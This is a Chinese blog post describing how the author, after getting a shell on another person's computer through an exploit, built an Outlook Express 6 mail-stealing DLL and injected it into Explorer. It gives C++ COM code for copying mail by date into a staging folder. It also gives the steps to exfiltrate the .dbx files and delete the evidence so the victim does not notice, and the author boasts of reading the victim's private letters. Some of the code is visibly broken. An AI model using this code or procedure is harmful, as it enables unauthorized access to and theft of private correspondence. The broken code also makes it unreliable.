编程窃取Outlook Express6 邮件

黑客新工具,可窃取Gmail、雅虎、Outlook等电子邮件 数据防泄漏系统会对内容进行识别,通过识别可扩展到对数据泄漏的防控,可定位敏感数据位置、监控敏感数据的使用情况以及采取阻断和审批加密的策略,防护敏感数据外泄。如果您使用公共电脑查看邮件,但离开前没有注销,那么之后使用这台电脑的人就可以获取您的密码并用它来入侵您的账户。如果您的多个账户使用的是同一个密码,那么黑客只要入侵一个账户,就可以访问所有这些账户。如不慎被恶意入侵,加密的数据不能让黑客得到想要的邮件内容,气急败坏的黑客可能会损坏数据。如果您使用的是过于简单的弱密码,黑客可能会猜出来。 阅读详情
最近通过漏洞溢出得到了一台机器的Shell,发现该机器的主人使用Outlook Express6(以后简称OE6)收发邮件,同时该机器在硬盘上积累了非常多的邮件,我想将邮件拷过来看看,但是dbx文件足足有1.5G之多。本人特开发了一个小小的软件,特向各位黑客编程爱好者公开自己的一些成果,希望得到大家宝贵的意见。
基础知识
Windows给每个用户、用户组和计算机都分配了一个安全的ID(SID),安全引用监视器用此SID控制对各种安全对象的访问。这个道理大家都明白,然而不是每个人在编写程序时都考虑到了这个因素,很多人都以为当得到一台机器的Shell后将程序上传执行就能得到理想的结果了。其实不然,在Shell中对各种安全对象的访问与当前活动用户对各种安全对象的访问是完全不同的,比如我的程序是对OE6中存储的邮件进行筛选,当我双击运行时能将满足要求的邮件提取出来。而在Shell中运行时却得不到结果,经过我的仔细的研究,发现由于SID不同,造成程序访问的邮件路径也完全不同。本地双击运行时访问的是“C:/Documents and Settings/Administrator/Local Settings/Application Data/Identities/ {5F0D737E-53DF-4A51-8061-179B70D61CA3}/Microsoft/Outlook Express/”;而Shell中运行时访问路径是
“C:/Documents and Settings/Administrator/Local Settings/Application Data/Identities/ {0355731D-7173-4AB6-8014-B6415B19345C}/Microsoft/Outlook Express/”。
既然找到了问题的起因,我们就一起来寻找解决的办法吧。我分别使用了将程序添加到计划任务和将程序写成系统服务两种办法,但并没有解决问题.。最后我想到了插入进程的方法,因为Explorer进程属于当前活动的用户,所以Explorer进程拥有与当前活动用户相同的SID,进而用Explorer进程对OE6的访问与当前活动用户对OE6访问的效果是一样的。于是我将程序制作成动态链接库,插入到Explorer进程中运行,效果良好。目前,插入进程的技术已经是老生常谈了,以这种方式隐藏进程、木马的方式并不先进,但这并不代表这种方法将无用武之处,只要仔细研究、综合考虑,灵活的运用插入进程的方法仍然能解决很多问题。
编程实现
接下来,我将对OE6邮件的存储方式进行简单的剖析,并介绍一下对OE6的Automation编程。通常,在一个系统用户将自己的邮箱账号与密码加入到OE6邮箱账号后,OE6会自动在在路径:“C:/Documents and Settings/Administrator/Local Settings/Application Data/Identities/{5F0D737E-53DF-4A51-8061-179B70D61CA3}/Microsoft/Outlook Express/下建立相关的*.dbx(收件箱.dbx等)文件,这些文件中的Folder.dbx存储着邮箱账号的相关信息。这个文件对OE6来说是非常重要的,一旦被删掉那么以前的邮件就都不能读取了。Pop3uidl.dbx是POP3收信记录的文件,其余的dbx文件里则存放着收取和发送的邮件。如果该系统用户有多个邮箱,并都加入到OE6进行邮件的收发,这时在上述路径不会出现新的dbx文件,而是将不同账号邮件都存放在相同的dbx文件中(比如将两个账号收到邮件都存入“收件箱.dbx”),但是如果以不同的系统用户登录,并添加账号的话,就会新建一个类似{5F0D737E-53DF-4A51-8061-179B70D61CA3}的文件夹,同时将不同系统用户的邮件存在不同的dbx文件中。可见我们可以一下子读取多个账号的邮件。
现在,我们来对相关OE6的Automation编程进行简要的介绍,这里主要用到的技术是COM 中的Automation编程,同时还需要用到微软2004年12月份公布的一个操作Outlook Express 6的头文件“msoeapi.h”,这个头文件中定义了对OE6进行各种操作的函数,这样我们就可以根据关键字、时间窃取相关的邮件了。这里将主要的代码公开,代码如下供大家参考:

STOREFOLDERID CreateDistillFolder(IStoreNamespace* m_pNamespace)
//这个函数将新建一个dbx文件以保存目标邮件
{
STOREFOLDERID dwNewFolder;
HRESULT hCreateFolder;

hCreateFolder=m_pNamespace
->CreateFolder(NULL,
“getmail.dbx”,
0,
&dwNewFolder);
//新建一个dbx文件即OE6中的一个
//扩展Folder(类似收件箱)
//该Folder名为getmail.dbx
if(FAILED(hCreateFolder))
{
return NULL;
}
return dwNewFolder;
}
―――――――――――――――――――――――――
void GetEmailInFolder
(IStoreNamespace* m_pNamespace,
STOREFOLDERID ID,
STOREFOLDERID DesID,
SYSTEMTIME Signtime)
//该函数将从指定ID的dbx文件中遍历邮件,并将目标邮
//件拷贝到指定DesID的dbx文件中
{
MESSAGEPROPS msgProps;
//邮件属性结构,包含邮件的各种相关信息
HENUMSTORE hEnumMsg;
//枚举邮件的句柄,用来判断邮件是否遍历完毕
IStoreFolder* m_pStoreFolder;
//存储邮件Folder的指针
IStoreFolder* m_pDesFolder;
//存储邮件Folder的指针
hEnumMsg = NULL;
msgProps.cbSize = sizeof(MESSAGEPROPS);
HRESULT hrOpenFolder =
m_pNamespace->OpenFolder(ID,
0,
&m_pStoreFolder);

if(FAILED(hrOpenFolder))
{
return;
}
HRESULT hrOpenDesFolder =
m_pNamespace->OpenFolder(DesID,
0,
&m_pDesFolder);
if(FAILED(hrOpenDesFolder))
{
return;
}
HRESULT hrGetMSG =
m_pStoreFolder->GetFirstMessage(0,
0,
MESSAGEID_FIRST,
&msgProps,
&hEnumMsg);
//得到Folder中的第一封邮件
while(SUCCEEDED(hrGetMSG)
&& (hrGetMSG != S_FALSE))
{
//该循环遍历指点Folder中的所有邮件
FILETIME timeout = msgProps.ftReceived;
SYSTEMTIME outtime;
FileTimeToSystemTime(&timeout, &outtime);
MESSAGEID msgID =
msgProps.dwMessageId;
if(outtime > Signtime)
{
//判断邮件接收时间
//如在指点时间后则拷贝到
//制定的Folder中
MESSAGEIDLIST msgIDList;
DWORD props = -1;
props &= ~msgProps.dwFlags;
msgIDList.cbSize =
sizeof(MESSAGEIDLIST);
msgIDList.cMsgs = 1;
msgIDList.prgdwMsgId = &msgID;
HRESULT hCopyEmail =
m_pNamespace->CopyMoveMessages(
m_pStoreFolder,
m_pDesFolder,
&msgIDList,
(FALSE ? CMF_MOVE : 0),
props,
NULL);
}
m_pStoreFolder->FreeMessageProps(&msgProps);
//将邮件信息结构清空
hrGetMSG =
m_pStoreFolder->GetNextMessage(hEnumMsg,
0,
&msgProps);
//取该Folder中的下一封邮件
}
m_pDesFolder->Release();

if(hEnumMsg)
{
m_pStoreFolder->GetMessageClose(hEnumMsg);
}
return;
}
―――――――――――――――――――――――――
void getemailfromOE6()
{
IStoreNamespace* m_pStoreNamespace = NULL;
// IStoreNamespace变量的定义在msoeapi.h中
//是interface的一个别名
HRESULT HInit = CoInitialize(0);
//初始化Com Library,参数必须为NULL
if(FAILED(HInit))
{
return;
}
HInit = CoCreateInstance(
CLSID_StoreNamespace,
NULL, CLSCTX_SERVER,
IID_IStoreNamespace,
(LPVOID*)&m_pStoreNamespace);
//建立一个以CLSID_StoreNamespace为标识
//的未初始化的对象
if(FAILED(HInit))
{
return;
}

HInit=m_pStoreNamespace->Initialize(NULL,
NULL);
//初始化
if(FAILED(HInit))
{
m_pStoreNamespace->Release();
return;
}
STOREFOLDERID DistillFolderID =
CreateDistillFolder(m_pStoreNamespace);
//建立存放目标邮件的Folder
if(DistillFolderID != NULL)
{
FOLDERPROPS props;
HENUMSTORE hEnum;
STOREFOLDERID BoxID;
hEnum = NULL;
props.cbSize = sizeof(FOLDERPROPS);
HRESULT hrfolder = m_pStoreNamespace
->GetFirstSubFolder(FOLDERID_ROOT,
&props, &hEnum);
//得到OE6中第一个Folder的句柄
while(SUCCEEDED(hrfolder)
&& (hrfolder != S_FALSE)
&& (hEnum != NULL))
{
//该循环遍历所有的Folder
//并调用GetEmailInFolder遍历所有邮件
BoxID = props.dwFolderId;
if(props.szName, DistillFolderName))
{
GetEmailInFolder(m_pStoreNamespace,
BoxID, DistillFolderID, tagtime);
}
hrfolder =
m_pStoreNamespace->GetNextSubFolder(
hEnum, &props);
}
if(hEnum)
{
m_pStoreNamespace->GetSubFolderClose(
hEnum);
}
m_pStoreNamespace->Release();
}
return;
}

实现窃取邮件的代码并不复杂,主要的过程是在void getemailfromOE6()函数中调用“STOREFOLDERID CreateDistillFolder(IStoreNamespace* m_pNamespace)”函数建立存放目标邮件的getmail.dbx文件,然后使用“void GetEmailInFolder(IStoreNamespace* m_pNamespace, STOREFOLDERID ID,STOREFOLDERID DesID, SYSTEMTIME Signtime)”函数对特定dbx文件中的邮件进行遍历,找出符合条件的邮件,并调用“CopyMoveMessages(m_pStoreFolder, m_pDesFolder, &msgIDList, (FALSE ? CMF_MOVE : 0), props, NULL)”函数将该邮件拷贝到我们建立的getmail.dbx文件中。这里我在主程序中直接调用“void getemailfromOE6()”函数就搞定了。
最后,我将用来实现提取邮件的getmail.dll与进行插入进程的Embody.exe文件上传到对方的机器中去,使用Embody.exe将getmail.dll插入到Explorer进程,从而得到了我指定日期后的邮件。将getmail.dbx、Folders.dbx拷贝过来(切记一定要将Folders.dbx拷贝过来,这是导入OE6必备的文件;同时在拷贝完后将getmail.dbx删掉,以避免对方发现)。这样我就看到了一封别人的情书,鸡皮疙瘩掉了一地……在高兴的同时,也惊叹Microsoft在这方面数据的不安全性,所以大家在使用OE6看完邮件后最好是彻底的删除,这样才能保证公司秘密、个人隐私不被他人窃取 
从“欢乐时光”病毒看脚本引擎安全:VBScript攻击链与防御启示 脚本引擎作为操作系统和应用程序中执行动态代码的核心组件,其安全机制直接关系到系统整体安全性。以VBScript和Windows Script Host(WSH)为例,脚本引擎通过提供文件系统访问、注册表操作和邮件发送等接口,实现了强大的自动化能力,但也为恶意代码提供了攻击面。在安全工程实践中,攻击者常利用脚本引擎的合法功能进行“Living-off-the-Land”攻击,即滥用系统自带工具绕过安全检测。这种攻击模式在嵌入式系统和物联网设备中同样值得警惕,例如通过Web界面注入恶意脚本或滥用轻量级脚本引擎。 阅读详情

相关推荐

探索经典邮件客户端:Outlook Express 6的深度剖析

电子邮件作为互联网最早的通讯方式之一,其起源可以追溯到1970年代。当时,ARPANET网络上的用户通过简单的文本通讯开始了电子邮件的雏形。随后,随着技术的演进,特别是SMTP(简单邮件传输协议)和POP(邮局协议)等标准的制定,使得电子邮件系统逐渐向今天我们所熟悉的形态发展。到了1990年代,随着互联网的商业化,电子邮件服务开始普及,几乎每个网民都拥有至少一个电子邮件账户。

weixin_42514540的博客 549

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

weixin_44891742的博客 8281

outlook express6指南

操作指南啊,outlook express6指南

Outlook Express的设置方法

Outlook Express 设置 :(以中文版Outlook Express 6为例)   一、首先设置邮件帐号:打开Outlook Express后,单击菜单栏中的“工具”,然后选择“帐号”;     二、点击“邮件”标签,点击右侧的“添加”按钮,在弹出的菜单

编程人生 1873

使用Outlook Express、Foxmail连接Exchange收发邮件

使用Outlook Express、Foxmail连接Exchange收发邮件

如何打开OUTLOOK EXPRESS 中的dbx文件

打开Ooutlook Express dbx邮箱数据库的方法

隐藏恶意软件的三大(黑客)技术

道高一尺,魔高一丈”,检测恶意软件的新战术和技术正在兴起,但高级黑客也正在使用高级的掩盖方法避免他们的恶意软件被发现。恶意软件作者知道恶意软件研究人员的工作路数,以及他们用以狩猎威胁的工具。比如说,研究人员和程序员通常会用反汇编程序和调试器,来找出某段代码的作用。有很多工具和技术都可以检测反汇编程序和调试器,包括内置的Windows功能。此类技术的设计目的,大多是辅助对抗盗版——盗版商会用这些工具破解版权保护的软件。

weixin_68789096的博客 1692

Outlook_Express_6

Outlook_Express_6 for win7 win7中Outlook_Express_6 没有了,但他简洁,好用,这是从ie6中提取出来的,

outlook express6使用指南

Outlook express6 讲三个问题:配置、导入导出、删除。配置网上一大推,我直接贴图。导入导出和删除结合自己实践重点说明下。 邮件不是以单个文件的方式存储,是以一个文件夹为一个整体(如收件箱)进行存储。存储格式为*.dbx。 关于配置:关于如何配置实用outlook express6,网上一大堆,下面的摘自http://help.163.com/09/1222/17/5R5GPV6

mwj_88的专栏 841

Outlook_Express_6 for win7/win8

Outlook_Express_6 for win7 win7中Outlook_Express_6 没有了,但他简洁,好用,这是从ie6中提取出来的,

读出outlook express的邮箱(如收件箱)的邮件例子 源代码

读出outlook express的邮箱(如收件箱)的邮件例子程序用delphi5编写如果有些地方编译不过,可以注释调最后可以正常读出express的所有邮箱内容

Linux 进程控制:fork、exit、wait、exec 与手写一个 mini shell

讲清进程控制的四个动作:fork 创建(内核四件事与写时拷贝)、exit/_exit/return 终止与 8 位退出码、wait/waitpid 等待与 status 位图、exec 七接口与唯一系统调用 execve,最后用这些零件拼出一个支持 cd/export/echo 的 mini shell,并解释环境变量两张表与 putenv 浅拷贝坑。附速查表与 14 道自测题。

BIII__的博客 175

hpm6750evk2开发板(四)TCP回送(1000M网口)

再接下来我们修改代码,先找到配置网速的地方,肯定是在enet的初始化函数里面,我们一个函数一个函数找,也可以用单步调试一步一步找,结果发现是在enet_init函数里面调用的rtl8211_basic_mode_default_config函数配置网速的,我们把enet_phy_port_speed_100mbps改为enet_phy_port_speed_1000mbps,重新编译运行试试。首先我们复制一份lwip_tcpecho代码,重命名为lwip_tcpecho_RGMII,如下图所示。

Silas1750的博客 921

第一章 Shell 概述

本文介绍了Shell编程的基础知识,包括Shell的起源与发展、常见Shell类型及查看方式,阐述了Shell作为命令解释器连接用户与操作系统内核的作用。强调其作为解释型脚本语言的优势,适用于系统管理自动化任务。内容涵盖Shell脚本基本结构、注释规范、编写风格、执行方法及常用命令(如echo、printf、history、管道等),并讲解了命令执行顺序、退出状态码等核心概念,为初学者提供系统学习路径。

sbjdhjd的博客 295

cs188Inference in Bayes Nets(贝叶斯网络的推理)

cs188Inference in Bayes Nets贝叶斯网络的推理Question1(3 points):Bayes Net StructureQuestion2(1 points):Bayes Net ProbabilitiesQuestion 3(5 points):Join FactorsQuestion4(4 points):EliminateQuestion5(4 points):NormalizeQuestion 6(4 points):Variable EliminationQuesti

weixin_46582817的博客 1674

鸿蒙5应用真机调试超详细教程

本文详细介绍了鸿蒙5应用的真机调试全流程,包括开发环境搭建(安装DevEcoStudio、配置SDK)、真机调试准备(开启USB调试、配置自动/手动签名)、调试实战(生成HAP包、断点调试技巧)以及多设备协同调试方法。文中提供了设备连接、签名配置等常见问题的解决方案,并包含示例代码展示分布式设备联动功能。通过本教程,开发者可快速掌握鸿蒙5应用的调试技能,建议结合官方文档深入学习高级调试技巧。

2301_79392153的博客 2196
上一篇: 分析蠕虫及压缩的网络流量
下一篇: 卡巴加密驱动解密代码
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值